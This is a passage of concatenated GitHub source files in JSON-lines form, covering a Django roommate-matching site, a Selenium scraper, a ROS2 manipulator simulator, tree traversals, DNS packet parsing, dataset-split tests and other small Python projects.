ans*=5\n ans+=score[i]\n t.append(ans)\n\nt.sort()\nprint(t[len(t)//2])","repo_name":"OneBitPython/AdventOfCode","sub_path":"2021/day10/day10B.py","file_name":"day10B.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20903825037","text":"from datetime import date\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.contrib.auth.models import User\nfrom django.db.models import Q, Subquery, OuterRef\nfrom django.http import HttpResponseBadRequest\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.urls import reverse_lazy\nfrom django.views import View\nfrom django.views.generic import TemplateView, UpdateView, CreateView, DetailView, FormView, ListView\n\nfrom roommate.filters import ApartmentFilter\nfrom roommate.forms import UserRegisterForm, UserProfileForm, ApartmentForm, AuthenticationNewForm, UserPreferenceForm, \\\n LifestyleForm, MessageForm\nfrom roommate.models import Apartment, UserProfile, Favorite, ApartmentImage, UserPreference, Lifestyle, Message\n\n\nclass HomeTemplateView(TemplateView):\n template_name = 'home_page.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n # Add an apartment variable to the context dictionary\n apartment = Apartment.objects.first()\n context['apartment'] = apartment\n return context\n\n\ndef login_view(request):\n if request.method == 'POST':\n form = AuthenticationNewForm(data=request.POST)\n if form.is_valid():\n remember_me = form.cleaned_data.get('remember_me')\n if remember_me:\n request.session.set_expiry(settings.SESSION_COOKIE_AGE)\n else:\n request.session.set_expiry(0)\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n form = AuthenticationNewForm()\n return render(request, 'registration/login.html', {'form': form})\n\n\ndef register(request):\n if request.method == 'POST':\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n user = form.save()\n user_profile = UserProfile()\n user_profile.user = user\n user_profile.user_type = form.cleaned_data['user_type']\n user_profile.gender = form.cleaned_data['gender'] # Save the gender to UserProfile\n user_profile.save()\n UserPreference.objects.create(user=user)\n Lifestyle.objects.create(user=user)\n return render(request, 'registration/account_created.html')\n else:\n form = UserRegisterForm()\n return render(request, 'registration/register.html', {'form': form})\n\n\n@login_required\ndef toggle_favorite(request, pk):\n user = request.user\n apartment = get_object_or_404(Apartment, id=pk)\n favorite = Favorite.objects.filter(user=user, apartment=apartment).first()\n if favorite:\n favorite.delete()\n else:\n Favorite.objects.create(user=user, apartment=apartment)\n return redirect(request.META.get('HTTP_REFERER'))\n\n\nclass UserProfileUpdateView(LoginRequiredMixin, FormView):\n template_name = 'settings.html'\n\n def get(self, request, *args, **kwargs):\n user_profile = request.user.userprofile\n profile_form = UserProfileForm(instance=user_profile)\n preference_form = UserPreferenceForm(instance=request.user.preference) # Use UserPreference instance\n lifestyle_form = LifestyleForm(instance=request.user.lifestyle)\n return render(request, self.template_name, {'profile_form': profile_form, 'preference_form': preference_form,\n 'lifestyle_form': lifestyle_form})\n\n def post(self, request, *args, **kwargs):\n user_profile = request.user.userprofile\n form_type = request.POST.get('form_type')\n if form_type == 'profile_form':\n form = UserProfileForm(request.POST, request.FILES, instance=user_profile)\n elif form_type == 'preference_form':\n form = UserPreferenceForm(request.POST, instance=request.user.preference) # Use UserPreference instance\n elif form_type == 'lifestyle_form':\n form = LifestyleForm(request.POST, instance=request.user.lifestyle)\n else:\n return HttpResponseBadRequest('Invalid form type')\n\n if form.is_valid():\n form.save()\n messages.success(request, 'Changes saved successfully.')\n return redirect('home')\n\n profile_form = UserProfileForm(instance=user_profile)\n preference_form = UserPreferenceForm(instance=request.user.preference) # Use UserPreference instance\n lifestyle_form = LifestyleForm(instance=request.user.lifestyle)\n return render(request, self.template_name, {'profile_form': profile_form, 'preference_form': preference_form,\n 'lifestyle_form': lifestyle_form})\n\n\nclass ApartmentCreateView(LoginRequiredMixin, CreateView):\n model = Apartment\n form_class = ApartmentForm\n template_name = 'post_a_room.html'\n success_url = reverse_lazy('home')\n\n def get(self, request, *args, **kwargs):\n user = request.user\n user_profile = UserProfile.objects.get(user=user)\n if user_profile.user_type == 'seeker':\n messages.error(request, 'You are not allowed to post a room.')\n return redirect('home')\n elif Apartment.objects.filter(author=user).exists():\n messages.error(request, 'You are not allowed to post more than one room.')\n return redirect('home')\n return super().get(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n form_class = self.get_form_class()\n form = self.get_form(form_class)\n files = request.FILES.getlist('images')\n if form.is_valid():\n apartment = form.save(commit=False)\n apartment.author = request.user\n apartment.save()\n for f in files:\n image_instance = ApartmentImage.objects.create(image=f, apartment=apartment)\n apartment.images.add(image_instance)\n apartment.save()\n return redirect(self.success_url)\n else:\n return self.form_invalid(form)\n\n\n@login_required\ndef browse_rooms(request):\n apartment_list = Apartment.objects.all().order_by('-date_posted')\n filter = ApartmentFilter(request.GET, queryset=apartment_list)\n filtered_apartments = filter.qs\n context = {\n 'apartments': apartment_list,\n 'filtered_apartments': filtered_apartments,\n 'filter': filter,\n }\n # Add an apartment variable to the context dictionary\n apartment = apartment_list.first()\n context['apartment'] = apartment\n return render(request, 'browse_rooms.html', context)\n\n\nclass ApartmentDetailView(LoginRequiredMixin, DetailView):\n model = Apartment\n template_name = 'apartment_detail.html'\n context_object_name = 'apartment'\n\n\nclass UserProfileView(LoginRequiredMixin, DetailView):\n model = UserProfile\n template_name = 'user_profile.html'\n context_object_name = 'user_profile'\n\n def get_object(self, queryset=None):\n user_pk = self.kwargs.get('pk')\n return get_object_or_404(UserProfile, user__pk=user_pk)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n return context\n\n\nclass ApartmentUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):\n model = Apartment\n form_class = ApartmentForm\n template_name = 'manage_apartment.html'\n\n def test_func(self):\n apartment = self.get_object()\n return self.request.user == apartment.author\n\n def handle_no_permission(self):\n messages.error(self.request, \"You don't have permission to edit this apartment.\")\n return redirect('browse_rooms')\n\n def form_valid(self, form):\n apartment = form.save(commit=False)\n apartment.author = self.request.user\n apartment.save()\n files = self.request.FILES.getlist('images')\n for image in apartment.images.all():\n image.delete()\n for f in files:\n image_instance = ApartmentImage.objects.create(image=f, apartment=apartment)\n apartment.images.add(image_instance)\n return redirect('apartment_detail', pk=apartment.pk)\n\n def form_invalid(self, form):\n messages.error(self.request, 'There was an error updating the apartment. Please try again.')\n return super().form_invalid(form)\n\n\n@login_required\ndef delete_apartment(request, pk):\n Apartment.objects.filter(id=pk).delete()\n return redirect('browse_rooms')\n\n\n@login_required\ndef favorite_rooms(request):\n favorites = Favorite.objects.filter(user=request.user)\n return render(request, 'favorite_rooms.html', {'favorites': favorites})\n\n\nclass MatchFinder(LoginRequiredMixin, View):\n\n @staticmethod\n def calculate_compatibility(user, other_user, user_preference, other_user_preference):\n if user.userprofile.birthdate is None or other_user.userprofile.birthdate is None:\n return 0 # If either user's birthdate is not set, skip this user and return a compatibility percentage of 0\n\n user_age = (date.today() - user.userprofile.birthdate).days // 365\n other_user_age = (date.today() - other_user.userprofile.birthdate).days // 365\n\n fixed_score_categories = 7\n score = 0\n\n # Check for gender preference match\n if user_preference.preferred_gender in (\n other_user.userprofile.gender, 'any') and other_user_preference.preferred_gender in (\n user.userprofile.gender, 'any'):\n score += 1\n\n # Check for age preference match\n age_match = user_preference.preferred_age_min <= other_user_age <= user_preference.preferred_age_max\n other_age_match = other_user_preference.preferred_age_min <= user_age <= other_user_preference.preferred_age_max\n if age_match and other_age_match:\n score += 1\n\n # Check for smoking preference match\n if other_user.preference.smoking_preference in (\n user_preference.smoking_preference, 'indifferent') and user.preference.smoking_preference in (\n other_user_preference.smoking_preference, 'indifferent'):\n score += 1\n\n # Check for pets preference match\n if other_user.preference.pets_preference in (\n user_preference.pets_preference, 'indifferent') and user.preference.pets_preference in (\n other_user_preference.pets_preference, 'indifferent'):\n score += 1\n\n # Check for work schedule match\n if user.lifestyle.work_schedule == other_user.lifestyle.work_schedule:\n score += 1\n\n # Check for cleanliness match\n if user.lifestyle.cleanliness == other_user.lifestyle.cleanliness:\n score += 1\n\n # Check for social match\n if user.lifestyle.social == other_user.lifestyle.social:\n score += 1\n\n # Calculate common interests and hobbies\n common_interests = set(user.lifestyle.interests.split(', ')) & set(\n other_user.lifestyle.interests.split(', '))\n common_hobbies = set(user.lifestyle.hobbies.split(', ')) & set(\n other_user.lifestyle.hobbies.split(', '))\n\n # Add common interests and hobbies count to the score\n score += len(common_interests) + len(common_hobbies)\n\n # Calculate max_score dynamically\n max_interests = max(len(user.lifestyle.interests.split(', ')), len(other_user.lifestyle.interests.split(', ')))\n max_hobbies = max(len(user.lifestyle.hobbies.split(', ')), len(other_user.lifestyle.hobbies.split(', ')))\n max_score = fixed_score_categories + max_interests + max_hobbies\n\n compatibility_percentage = (score / max_score) * 100\n\n return compatibility_percentage\n\n def get(self, request, *args, **kwargs):\n user = request.user\n user_preference = user.preference\n\n # Check if the user is a provider\n if user.userprofile.user_type != 'seeker':\n messages.error(request, \"Access restricted. This page is available only for seeker users.\")\n return redirect('home') # Redirect to a different page, e.g., home or user profile\n\n # Filter users who have a profile and are providers\n users = User.objects.exclude(id=user.id).exclude(userprofile=None).filter(userprofile__user_type='provider',\n apartment__isnull=False)\n\n scored_users = []\n for other_user in users:\n other_user_preference = other_user.preference # Get the other user's preferences\n compatibility = self.calculate_compatibility(user, other_user, user_preference, other_user_preference)\n scored_users.append((other_user, compatibility))\n\n scored_users.sort(key=lambda x: x[1], reverse=True)\n\n context = {\n 'matched_users': scored_users,\n 'current_user': request.user,\n }\n return render(request, 'matched_users.html', context)\n\n\n@login_required\ndef messages_view(request, user_id):\n user = User.objects.get(pk=user_id)\n # Fetch users with conversations\n users_with_conversations = User.objects.filter(\n Q(sent_messages__receiver=request.user) | Q(received_messages__sender=request.user)\n ).distinct()\n\n # Calculate compatibility score using the same preference settings for both users\n compatibility_score = MatchFinder.calculate_compatibility(request.user, user, request.user.preference,\n user.preference)\n if request.method == 'POST':\n form = MessageForm(request.POST)\n if form.is_valid():\n message = form.save(commit=False)\n message.sender = request.user\n message.receiver = user\n message.save()\n return redirect('messages_view', user_id=user_id)\n else:\n form = MessageForm()\n\n messages = Message.objects.filter(sender=request.user, receiver=user) | Message.objects.filter(sender=user,\n receiver=request.user)\n messages = messages.order_by('timestamp')\n\n # Mark messages as read\n unread_messages = messages.filter(receiver=request.user, is_read=False)\n unread_messages.update(is_read=True)\n\n return render(request, 'messages.html',\n {'form': form, 'chat_messages': messages, 'receiver': user,\n 'users_with_conversations': users_with_conversations, 'suppress_messages_modal': True,\n 'compatibility_score': compatibility_score, })\n\n\nclass UnreadMessagesView(LoginRequiredMixin, ListView):\n model = Message\n template_name = 'unread_messages.html'\n context_object_name = 'conversations'\n\n def get_queryset(self):\n latest_messages = Message.objects.filter(receiver=self.request.user, is_read=False,\n sender=OuterRef('sender')).order_by('-timestamp')\n return Message.objects.filter(receiver=self.request.user, is_read=False,\n timestamp=Subquery(latest_messages.values('timestamp')[:1])).order_by(\n '-timestamp')\n\n\n@login_required\ndef conversations_view(request):\n # Fetch users with conversations\n users_with_conversations = User.objects.filter(\n Q(sent_messages__receiver=request.user) | Q(received_messages__sender=request.user)\n ).distinct()\n\n return render(request, 'conversations.html', {'users_with_conversations': users_with_conversations})\n","repo_name":"Spikyd/Roomstack","sub_path":"roommate/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32282648961","text":"# -*- coding:utf-8 -*-\nfrom selenium import webdriver\nimport time\nimport json\n\n\nclass TTjijin:\n def __init__(self):\n self.start_url = \"http://fund.eastmoney.com/data/fundranking.html#tall;c0;r;szzf;pn50;ddesc;qsd20191124;qed20201124;qdii;zq;gg;gzbd;gzfs;bbzt;sfbb\"\n self.driver = webdriver.Chrome()\n self.total_content = []\n\n def get_content_list(self):\n td_list = self.driver.find_elements_by_xpath(\"//table[@id='dbtable']/tbody/tr\")\n content_list = []\n for td in td_list:\n item={}\n item[\"id\"] = td.find_element_by_xpath(\"./td[\"+1+\"]\")\n\n content_list.append(item)\n next_url = self.driver.find_element_by_link_text('下一页')\n next_url = next_url[0] if len(next_url) > 0 else None\n return content_list, next_url\n\n def save_content_list(self, content_list):\n print(content_list)\n\n\n def run(self):\n self.driver.get(self.start_url)\n\n content_list, next_url = self.get_content_list()\n\n self.save_content_list(content_list)\n\n\nif __name__ == \"__main__\":\n tt = TTjijin()\n tt.run()\n\n","repo_name":"focusdroid-python/flask-demo","sub_path":"Reptile/testReptile/01-tiantianjijin.py","file_name":"01-tiantianjijin.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14120578650","text":"\"\"\"\ndef a_function(elem):\n return elem ** 2\n\nprint \"Map\"\nprint map(a_function, [1, 2, 3, 4])\n\nprint \"Filter\"\nprint filter(lambda x: x % 2 == 0, [1, 2, 3, 4])\n\n\nprint \"Reduce\"\nprint reduce(lambda acc, x: acc + x, [1, 2, 3, 4], 5)\n\"\"\"\n\n\na_list = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n\nsum([e ** 2 for e in a_list if e < 5])\n\nreduce(lambda acc, x: acc + x, map(lambda x: x ** 2, (filter(lambda x: x < 5, a_list))))\n","repo_name":"rmotr-students-code/003_PYP_G2","sub_path":"class 2/functional_programming.py","file_name":"functional_programming.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2218490641","text":"from .lib.manipulator_sim import ManipulatorSim\nimport rclpy\n\nfrom rclpy.node import Node\nfrom std_msgs.msg import Float64, Int64\nfrom sensor_msgs.msg import JointState\n\nfrom sofar_manipulator_simulator_interface.srv import IKService, LocService\n\nfrom ament_index_python.packages import get_package_share_directory\n\n\nclass ManipulatorSimNode(Node):\n\n def __init__(self):\n super().__init__(\"manipulator_sim_node\")\n\n # Manipulator simulator\n self.sim = ManipulatorSim(\n get_package_share_directory(\"sofar_manipulator_simulator\")\n )\n self.sim.setup()\n self.sim.thread.start()\n\n # Subscriber for setting joint state\n self.create_subscription(JointState, \"/robot/joint_cmd\", self.on_joint_cmd, 10)\n\n # Subscriber for controlling robot's gripper\n self.create_subscription(Int64, \"/robot/gripper_cmd\", self.on_gripper_cmd, 10)\n\n # Service for computing inverse kinematics\n self.create_service(IKService, \"/robot/ik\", self.compute_ik)\n\n # Service for retrieving coordinates of ball/target\n self.create_service(LocService, \"/objects/location\", self.get_object_location)\n\n\n # Callback invoked whenever desired joint configuration is received\n def on_joint_cmd(self, msg: JointState):\n self.sim.robot.set_joint_angles(\n float(msg.position[0]),\n float(msg.position[1]),\n float(msg.position[2])\n )\n\n # Callback for controlling robot's gripper\n def on_gripper_cmd(self, msg: Int64):\n if msg.data == 1:\n self.sim.grasp()\n elif msg.data == -1:\n self.sim.drop()\n\n # Callback to compute ik \n def compute_ik(self, request: IKService.Request, response: IKService.Response):\n # Get desired end-effector pose from request\n x_d = request.desired_ee_pose.x\n y_d = request.desired_ee_pose.y\n theta_d = request.desired_ee_pose.theta\n # Compute IK and retrive desired joint angles (if any)\n q_des = self.sim.robot.inverse_kinematics(x_d, y_d, theta_d)\n # If IK computation was successful...\n if len(q_des) > 0:\n response.feasible.data = True\n for q in q_des:\n q_float = Float64()\n q_float.data = q\n response.desired_angles.append(q_float)\n # Else, if pose was not reachable...\n else:\n response.feasible.data = False\n return response\n \n \n # Callback for retrieving ball/target locations for computing IK\n def get_object_location(self, request: LocService.Request, response: LocService.Response):\n # Get request parameters\n item = request.item.data\n color = request.color.data\n # convert desired color to integer\n color_idx = 0 if color == \"RED\" else 1\n # If user requested location of a ball, fill data...\n if item == \"BALL\":\n response.location.x = self.sim.balls[color_idx].center_x - self.sim.origin[0]\n response.location.y = self.sim.balls[color_idx].center_y - self.sim.origin[1]\n response.location.z = 0.0\n # Else, if user requested the coordinates of a target location...\n elif item == \"TARGET\":\n response.location.x = self.sim.targets[color_idx].center_x - self.sim.origin[0]\n response.location.y = self.sim.targets[color_idx].center_y - self.sim.origin[1]\n response.location.z = 0.0\n return response\n\n \ndef main(args=None):\n \n rclpy.init(args=args)\n sim_node = ManipulatorSimNode()\n\n print(\"Press Ctrl+C to exit...\")\n rclpy.spin(sim_node)\n\n sim_node.destroy_node()\n rclpy.shutdown()\n \n\n# Script entry point\nif __name__ == \"__main__\":\n main()\n","repo_name":"SimoneMacci0/sofar-manipulator-simulator","sub_path":"sofar_manipulator_simulator/sofar_manipulator_simulator/manipulator_sim_node.py","file_name":"manipulator_sim_node.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25396821750","text":"# Definition for a binary tree node.\nfrom typing import Optional, List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def preorderTraversalRec(self, root: Optional[TreeNode]) -> List[int]:\n if not root:\n return []\n else:\n return (\n [root.val]\n + self.preorderTraversal(root.left)\n + self.preorderTraversal(root.right)\n )\n\n def preorderTraversalStack(self, root: Optional[TreeNode]) -> List[int]:\n ret = []\n stack = [root]\n while stack:\n\n node = stack.pop()\n if node:\n ret.append(node.val)\n # вверху будет левое, потому что добавили позднее\n stack.append(node.right)\n stack.append(node.left)\n\n return ret\n\n def inorderTraversalRec(self, root: Optional[TreeNode]) -> List[int]:\n if root is None:\n return []\n return (\n self.inorderTraversal(root.left)\n + [root.val]\n + self.inorderTraversal(root.right)\n )\n\n def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n res = []\n stack = []\n curr = root\n while curr or stack:\n while curr:\n stack.append(curr)\n curr = curr.left\n curr = stack.pop()\n res.append(curr.val)\n curr = curr.right\n return res\n\n def postorderTraversalRec(self, root: Optional[TreeNode]) -> List[int]:\n if root is None:\n return []\n return (\n self.postorderTraversal(root.left)\n + self.postorderTraversal(root.right)\n + [root.val]\n )\n\n def postorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n ret = []\n stack = [root]\n while stack:\n\n node = stack.pop()\n if node:\n ret.append(node.val)\n # вверху будет левое, потому что добавили позднее\n stack.append(node.left)\n stack.append(node.right)\n\n return ret[::-1]\n","repo_name":"Kristobal-Khunta/Algorithms","sub_path":"leetcode/trees/94.145.144.traverse.py","file_name":"94.145.144.traverse.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"38425745377","text":"import re\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom ansible_rulebook.cli import show_version\nfrom ansible_rulebook.util import check_jvm\n\n\ndef test_show_version(capsys):\n with pytest.raises(SystemExit):\n show_version()\n output = capsys.readouterr()\n assert not output.err\n pattern = re.compile(\n r\"\"\"(.+)\\d+\\.\\d+\\.\\d+'\n Executable location = (.+)\n Drools_jpy version = \\d+\\.\\d+\\.\\d+\n Java home = (.+)\n Java version = \\d+\\.\\d+\\.\\d+(\\.\\d+)?\n Python version = \\d+\\.\\d+\\.\\d+ (.+)$\"\"\"\n )\n assert pattern.match(output.out)\n\n\ndef test_check_jvm_bad_java_home():\n @patch(\"ansible_rulebook.util.get_java_home\")\n def get_java_home(mock_response):\n mock_response.return_value = None\n\n with pytest.raises(SystemExit) as excinfo:\n check_jvm()\n assert excinfo.value.code == 1\n\n\n@pytest.mark.parametrize(\n \"mocked_version\",\n [\n pytest.param(\n \"11.0.2\",\n id=\"lower\",\n ),\n pytest.param(\"Not found\", id=\"not_found\"),\n ],\n)\ndef test_check_jvm_bad_version(mocked_version):\n @patch(\"ansible_rulebook.util.get_java_version\")\n def get_java_version(mock_response):\n mock_response.return_value = mocked_version\n with pytest.raises(SystemExit) as excinfo:\n check_jvm()\n assert excinfo.value.code == 1\n\n\n@pytest.mark.parametrize(\n \"mocked_version\",\n [\n pytest.param(\n \"17.0.2\",\n id=\"semantic\",\n ),\n pytest.param(\"17.1.5.3\", id=\"semantic_extended\"),\n ],\n)\ndef test_check_jvm_java_version(mocked_version):\n @patch(\"ansible_rulebook.util.get_java_version\")\n def get_java_version(mock_response):\n mock_response.return_value = mocked_version\n result = check_jvm()\n assert result is None\n","repo_name":"hendersonreed/ansible-rulebook","sub_path":"tests/unit/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"17925973695","text":"from flask import Flask\nfrom twilio.twiml.voice_response import VoiceResponse\n\napp = Flask(__name__)\n\nHOST = 'localhost'\nPORT = 5002\n\n@app.route(\"/answer-call\", methods=['GET', 'POST'])\ndef answer_call():\n \"\"\"Respond to incoming phone calls.\"\"\"\n\n # Start TwiML response\n resp = VoiceResponse()\n # Read a message aloud to the caller\n resp.say(\"Welcome to VoiceMed Dev. Redirecting you the Flow!\", voice='alice')\n # Record the message if needed\n # resp.record(timeout=10, transcribe=True)\n\n return str(resp)\n\n\nif __name__ == \"__main__\":\n app.run(host = HOST, port = PORT, debug = True)\n","repo_name":"sayonkumarsaha/voicemed-ivr-euvsvirus","sub_path":"src/answer_call.py","file_name":"answer_call.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42064196243","text":"import json\nimport os\n\nimport pytest\nfrom airo_dataset_tools.coco_tools.split_dataset import split_coco_dataset\nfrom airo_dataset_tools.data_parsers.coco import CocoInstancesDataset\n\n\ndef test_keypoints_split():\n test_dir = os.path.dirname(os.path.realpath(__file__))\n annotations = os.path.join(test_dir, \"test_data/person_keypoints_val2017_small.json\")\n\n with open(annotations, \"r\") as file:\n data = json.load(file)\n coco_keypoints = CocoInstancesDataset(**data)\n datasets = split_coco_dataset(coco_keypoints, [0.5, 0.5])\n assert len(datasets) == 2\n assert len(datasets[0].annotations) == 1\n assert len(datasets[1].annotations) == 1\n assert len(datasets[0].images) == 1\n assert len(datasets[1].images) == 1\n assert len(datasets[0].annotations[0].keypoints) > 0\n\n\ndef test_empty_annotations_split_raises_error():\n test_dir = os.path.dirname(os.path.realpath(__file__))\n annotations = os.path.join(test_dir, \"test_data/person_keypoints_val2017_small.json\")\n\n with open(annotations, \"r\") as file:\n data = json.load(file)\n coco_keypoints = CocoInstancesDataset(**data)\n with pytest.raises(ValueError):\n split_coco_dataset(coco_keypoints, [0.9, 0.1], shuffle_before_splitting=False)\n","repo_name":"airo-ugent/airo-mono","sub_path":"airo-dataset-tools/test/test_coco_split.py","file_name":"test_coco_split.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"20928126676","text":"import struct\nimport time\nTYPES = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA', 12: 'PTR', 15: 'MX ', 28: 'AAAA', 255: '*'}\n\n\nclass DNSPacket:\n def __init__(self, data):\n self.len_name = 0\n self.info = data\n self.header = list(struct.unpack('!6H', self.info[:12])) # Get header as six half-ints\n self._query_name = None\n self._query_name = self.query_name\n try:\n self.query_type = TYPES[self.info[12 + len(self.query_name) + 4]]\n except KeyError:\n self.query_type = \"*\"\n # print(self.query_type)\n rest = data[12 + len(self.query_name) + 5:]\n self.records = parse_records(self.query_name, rest, self.header[3:])\n\n @property\n def query_name(self):\n if not self._query_name:\n length = self.info[12:].find(b'\\x00')\n self.len_name = length\n name = self.info[12:12 + length]\n format = str(length) + 's'\n return struct.unpack(format, name)[0]\n return self._query_name\n\n def __bytes__(self):\n length = len(self.query_name)\n offset = 13 + length\n header = struct.pack('!6H', *self.header)\n format = str(length) + 's'\n name = struct.pack(format, self.query_name) + b'\\x00'\n records = b''.join([bytes(record) for rs in self.records for record in rs])\n return header + name + self.info[offset:offset + 4] + records\n\n\nclass ResourceRecord:\n def __init__(self, record_name, record_data, record_time):\n self.name = record_name\n self.info = record_data\n self.time = record_time\n self._ttl = int.from_bytes(self.info[6:10] or '\\x00', byteorder='big')\n\n def __bytes__(self):\n return self.info\n\n @property\n def ttl(self):\n self._ttl = int(self._ttl - time.time() + self.time)\n return self._ttl\n\n \ndef parse_records(name, data, counts):\n records = []\n pointer = 0\n sep = b'\\xc0\\x0c'\n packets = data[2:].split(sep)\n for count in counts:\n temp_records = []\n for i in range(count):\n try:\n temp_records.append(ResourceRecord(name, sep + packets[pointer + i], time.time()))\n except IndexError:\n break\n records.append(temp_records)\n pointer += count\n return records\n","repo_name":"BurningMarshmallow/network-tools","sub_path":"dns_cache/parse_resource_records.py","file_name":"parse_resource_records.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"4546825426","text":"\"\"\"\nClasses and Functions used in the FBResNet model.\nClasses\n-------\n Physics : Define the physical parameters of the ill-posed problem.\n MyMatmul : Multiplication with a kernel (for single or batch)\nMethods\n-------\n Export_Data : save a signal or function x \n Export_hyper : hyperparameters of the neural network\n \n@author: Cecile Della Valle\n@date: 03/01/2021\n\"\"\"\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`\n# General import\nimport torch.nn as nn\nimport torch\nimport numpy as np\nfrom torch.autograd import Variable\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`\n\n#\n\n#\nclass Physics:\n \"\"\"\n Define the physical parameters of the ill-posed problem.\n Alert : nx must be >> than m.\n Attributes\n ----------\n nx (int): size of initial signal \n m (int): size of eigenvectors span\n a (int): oder of ill-posedness \n p (int): order of a priori smoothness\n eigm (np.array): transformation between signal and eigenvectors basis\n Top (np.array): Abel operator from the finite element basis to the cos basis\n \"\"\"\n def __init__(self,nx=2000,m=50,a=1,p=1):\n \"\"\"\n Alert : nx must be >> than m.\n \"\"\"\n # Physical parameters\n self.nx = nx\n self.m = m\n self.a = a\n self.p = p\n # Eigenvalues\n self.eigm = (np.linspace(0,m-1,m)+1/2)*np.pi\n # Basis transformation\n base = np.zeros((self.m,self.nx)) \n h = 1/(self.nx-1)\n eig_m = self.eigm.reshape(-1,1)\n v1 = ((2*np.linspace(0,self.nx-1,self.nx)+1)*h/2).reshape(1,-1)\n v2 = (np.ones(self.nx)/2*h).reshape(1,-1)\n base = 2*np.sqrt(2)/eig_m*np.cos(v1*eig_m)*np.sin(v2*eig_m)\n self.basis = base\n # # Operator T\n # step 0 : Abel operator integral\n # the image of the cos(t) basis is projected in a sin(t) basis\n Tdiag = np.diag(1/self.eigm**self.a)\n # step 1 : From sin(t) basis to cos(t) basis\n eig_m = self.eigm.reshape(-1,1)\n base_sin = np.zeros((self.m,self.nx))\n base_sin = 2*np.sqrt(2)/eig_m*np.sin(v1*eig_m)*np.sin(v2*eig_m)\n # step 2 : Combinaison of Top and base change\n self.Top = np.matmul(base_sin.T,Tdiag)\n \n def BasisChange(self,x):\n \"\"\"\n Change basis from signal to eigenvectors span.\n Parameters\n ----------\n x (np.array): signal of size n*c*nx\n Returns\n -------\n (np.array): of size n*c*m\n \"\"\"\n return np.matmul(x,(self.basis).T)\n \n def BasisChangeInv(self,x):\n \"\"\"\n Change basis from eigenvectors span to signal.\n Parameters\n ----------\n x (np.array): signal of size nxcxm\n Returns\n -------\n (np.array): of size nxcxnx\n \"\"\"\n return np.matmul(x,self.basis*self.nx)\n \n def Operators(self):\n \"\"\"\n Given a ill-posed problem of order a and an a priori of order p\n for a 1D signal of nx points,\n the fonction computes the array of the linear transformation T\n and arrays used in the algorithm.\n Returns\n -------\n (list): four numpy array, the regularisation a priori, the Abel operator,\n the ortogonal matrix from element to eigenvector basis\n \"\"\"\n # T = 1/nx*np.tri(nx, nx, 0, dtype=int).T # matrice de convolution\n Top = np.diag(1/self.eigm**(self.a))\n # D = 2*np.diag(np.ones(nx)) - np.diag(np.ones(nx-1),-1) - np.diag(np.ones(nx-1),1)# matrice de dérivation\n Dop = np.diag(self.eigm**(self.p))\n # matrix P of basis change from cos -> elt\n eltTocos = self.basis\n cosToelt = self.basis.T*self.nx\n # Convert to o Tensor\n tDD = Dop*Dop\n tTT = Top*Top\n #\n return [tDD,tTT,eltTocos,cosToelt]\n \n def Compute(self,x):\n \"\"\"\n Compute the transformation by the Abel integral operator\n in the basis of finite element.\n Parameters\n ----------\n x (np.array): signal of size n*c*nx\n Returns\n -------\n (np.array): of size n*c*nx\n \"\"\"\n # Change to eig basis\n xeig = self.BasisChange(x)\n # Operator T : Abel operator integral\n return np.matmul(xeig,self.nx*self.Top.T)\n \n def ComputeAdjoint(self,y):\n \"\"\"\n Compute the transformation by the adjoint operator of Abel integral\n from the basis of finite element to eigenvectors.\n Parameters\n ----------\n x (np.array): signal of size n*c*nx\n Returns\n -------\n (np.array): of size n*c*m\n \"\"\"\n # T*= tT\n # < en , T^* phi_m > = < T en , phi_m > \n return np.matmul(y,self.Top)\n\n#\nclass MyMatmul(nn.Module):\n \"\"\"\n Performs 1D convolution with numpy array kernel\n Attributes\n ----------\n kernel (torch.FloatTensor): size nx*nx filter\n \"\"\"\n def __init__(self, kernel):\n \"\"\"\n Parameters\n ----------\n kernel (numpy array): convolution filter\n \"\"\"\n 